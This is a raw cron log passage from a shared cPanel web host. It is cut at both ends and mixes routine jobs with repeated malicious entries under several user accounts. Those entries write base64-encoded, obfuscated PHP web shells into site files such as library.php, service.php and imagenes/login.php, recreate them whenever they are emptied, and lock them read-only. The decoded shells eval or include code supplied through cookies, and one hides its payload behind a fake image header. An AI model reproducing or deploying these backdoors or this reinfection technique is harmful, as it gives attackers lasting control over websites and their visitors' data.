A1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:31:01 medusa CROND[21119]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:32:01 medusa CROND[23001]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:32:01 medusa CROND[23005]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:32:01 medusa CROND[23007]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:32:01 medusa CROND[23009]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:32:01 medusa CROND[23008]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 07:32:01 medusa CROND[23010]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:32:01 medusa CROND[23012]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:32:01 medusa CROND[23011]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:32:01 medusa CROND[23006]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:32:01 medusa CROND[23015]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:32:01 medusa CROND[23023]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 07:32:01 medusa CROND[23024]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:32:01 medusa CROND[23028]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:33:01 medusa CROND[24627]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 07:33:01 medusa CROND[24632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:33:01 medusa CROND[24637]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:33:01 medusa CROND[24638]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:33:01 medusa CROND[24639]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:33:01 medusa CROND[24640]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:33:01 medusa CROND[24641]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:33:01 medusa CROND[24642]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:33:01 medusa CROND[24643]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:33:01 medusa CROND[24645]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:33:01 medusa CROND[24646]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:33:01 medusa CROND[24657]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:34:02 medusa CROND[26236]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 07:34:02 medusa CROND[26240]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:34:02 medusa CROND[26247]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:34:02 medusa CROND[26248]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:34:02 medusa CROND[26250]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo 